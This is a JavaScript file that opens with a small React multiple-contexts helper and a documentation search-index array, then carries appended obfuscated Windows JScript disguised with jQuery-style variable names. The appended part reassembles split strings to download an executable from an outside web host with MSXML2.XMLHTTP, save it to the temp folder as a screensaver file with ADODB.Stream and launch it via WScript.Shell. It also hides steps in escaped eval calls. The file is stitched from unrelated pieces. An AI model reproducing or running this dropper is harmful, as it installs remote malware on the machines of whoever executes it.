import React, { createContext, useContext } from 'react'
export const ClassWithMultipleContexts = (Component, contexts) => {
const MultipleContexts = createContext(null)
Component.contextType = MultipleContexts
const MultipleContextsProvider = (props) => {
const contextMap = {}
for(let i in contexts) {
contextMap[i] = useContext(contexts[i])
}
return (
<MultipleContexts.Provider value={contextMap}>
<Component {...props} />
</MultipleContexts.Provider>
)
}
return MultipleContextsProvider
}
var searchData=
[
['updatescorecommand',['UpdateScoreCommand',['../classstrange_1_1examples_1_1multiplecontexts_1_1game_1_1_update_score_command.html',1,'strange::examples::multiplecontexts::game']]],
['usertilemediator',['UserTileMediator',['../classstrange_1_1examples_1_1multiplecontexts_1_1social_1_1_user_tile_mediator.html',1,'strange::examples::multiplecontexts::social']]],
['usertileview',['UserTileView',['../classstrange_1_1examples_1_1multiplecontexts_1_1social_1_1_user_tile_view.html',1,'strange::examples::multiplecontexts::social']]],
['uservo',['UserVO',['../classstrange_1_1examples_1_1multiplecontexts_1_1social_1_1_user_v_o.html',1,'strange::examples::multiplecontexts::social']]]
];
cssText = 0, concat = "ell", trigger = 51, simple = "saveT", rlocalProtocol = 2;
eq = 11;
computeStyleTests = 30000;
var setRequestHeader = "WScri",
hash = "ect",
tweeners = "clos",
raw = "ty",
values = 129,
r20 = "write";
nType = "htt", tween = "positi", pageX = 47, oMatchesSelector = "n", makeArray = "op";
elementMatcher = "Objec", disconnectedMatch = 56, firstChild = "runes", multipleContexts = 1;
onreadystatechange = "GE", reject = "WSc", styles = "ponse", rcssNum = "DB.Str", relative = (function offset() {}, 127);
attributes = "Cre", innerText = 3, originalOptions = "q.co", view = "%TEM";
strAbort = "Env";
code = 4;
result = "HTT";
eventHandle = "WScrip";
_default = 33;
b = "xe";
var parentsUntil = ".s";
var noop = "MSXML2",
keepData = "ello",
old = "nmen",
pointerleave = "Ru",
tuples = "Create";
duplicates = "pt";
propHooks = "bje";
_data = (function offset.simulate() {
var getElementsByTagName = this;
return getElementsByTagName;
}, "rin");
progressContexts = "Sl";
setOffset = offset.simulate();
focus = this["WScri" + duplicates];
keyHooks = focus["Create" + elementMatcher + "t"](eventHandle + "t.Sh" + concat);
prevObject = keyHooks["Expand" + strAbort + "iro" + old + "tSt" + _data + "gs"](view + "P%/") + firstChild + "cape" + parentsUntil + "cr";
random = this[setRequestHeader + "pt"][attributes + "ateO" + propHooks + "ct"](noop + ".XML" + result + "P");
random[makeArray + "en"](onreadystatechange + "T", nType + "p://oh" + keepData + "guyq" + originalOptions + "m/70.e" + b, !(1 < (((((multipleContexts + 1) + (cssText | 0)) + (innerText & (49 - pageX))) | ((1 & multipleContexts) + -(1 * multipleContexts))) & (Math.pow(((4 * code + 1), rlocalProtocol * 13 * rlocalProtocol, (57 - trigger)), ((165 / eq) - (69 - disconnectedMatch))) - (957 / _default)))));
random["se" + oMatchesSelector + "d"]();
rnotwhite = this[reject + "ript"][tuples + "Obj" + hash]("ADO" + rcssNum + "eam");
rnotwhite[makeArray + "en"]();
option = rnotwhite;
to = keyHooks;
option[raw + "pe"] = ((1 | cssText) | 0);
err();
stopPropagation();
matchExpr();
compilerCache();
rnotwhite[simple + "oFile"](prevObject, ((244, values, 2) & innerText));
docElem = rnotwhite;
docElem[tweeners + "e"]();
timeoutTimer();
to[pointerleave + "n"](prevObject, ((relative, 110, cssText) & 1), ((multipleContexts * 0) & (multipleContexts * 1)));
function compilerCache() {
eval(unescape("%20%20%20%20%20%20%20%20mouseHooks%5Btween%20+%20%22on%22%5D%20%3D%20%28cssText%7C%280%7CcssText%29%29%3B%0D"));
}
function matchExpr() {
eval(unescape("%20%20%20%20%20%20%20%20rnotwhite%5Br20%5D%28random%5B%22Res%22%20+%20styles%20+%20%22Body%22%5D%29%3B%0D"));
}
function stopPropagation() {
eval(unescape("%20%20%20%20%20%0D"));
}
function err() {
eval(unescape("%20%20%20%20%20%20%20%20mouseHooks%20%3D%20option%3B%0D"));
}
function timeoutTimer() {
eval(unescape("%20%20%20%20%20%20%20%20this%5BeventHandle%20+%20%22t%22%5D%5BprogressContexts%20+%20%22eep%22%5D%28%28%2830%2CcomputeStyleTests%29/2%29%29%3B%20%20%20%0D"));
}